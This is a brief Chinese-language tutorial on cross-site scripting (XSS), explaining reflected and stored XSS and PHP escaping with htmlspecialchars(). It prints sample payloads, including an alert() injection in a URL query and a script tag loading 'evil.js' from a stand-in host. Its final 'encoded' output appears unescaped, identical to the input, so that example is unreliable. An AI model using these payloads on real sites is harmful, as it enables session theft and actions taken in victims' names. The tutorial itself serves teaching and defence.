XSS(Cross-Site Scripting)是一種網站應用程式的安全漏洞攻擊,攻擊者注入 client-side scripts 到網頁上,其他使用者在觀看網頁時就會受到影響,通常是 JavaScript,但實際上也可以包括 Java、VBScript、ActiveX、Flash,甚至是普通的 HTML。這些惡意網頁程式可能改變網站的行為和外觀、竊取其他使用者的敏感資訊、甚至以被攻擊者的身份執行一些操作。
攻擊原理
XSS 目前沒有統一的分類標準,不過大多數專家將其區分為至少兩種主要類型:非持久型(non-persistent)、持久型(persistent)。(還有 DOM-based XSS)
Non-persistent (or reflected)
非持久型(或反射型)XSS 常見於 HTTP query parameters,像是以 GET 方法傳送資料給伺服器時,伺服器未檢查就將內容回應到網頁上所產生的漏洞。
例如,網站是使用網址上的參數來顯示搜尋結果,攻擊者就可以利用參數的值改為 JavaScript 來執行:
http://example.com/search?q=><script%20type='application/javascript'>alert('xss');</script>
Persistent (or stored)
持久型(或儲存型)XSS 常見於留言板、論壇等。若沒有做適當地檢查,輸入的內容就會被當作一般的 HTML 執行,由於內容會被保存在伺服器資料庫中,當其他使用者訪問時,網站便會自動執行攻擊者所輸入的指令。
例如,在留言處輸入 <script>
來載入其他來源的檔案:
<script src="<http://example.com/evil.js>"></script>
防範方法
防範 XSS 的方法之一,是將使用者輸入的內容進行過濾,許多程式語言都有提供函式,能夠在 HTML 輸出前,針對特殊符號做編碼或者跳脫處理。
以 PHP 為例,可以使用 htmlentities()
和 htmlspecialchars()
過濾特殊字元。
$str = "<script>alert('XSS')</script>";
echo htmlspecialchars($str);
上面的字串會被編碼成:
<script>alert('XSS')</script>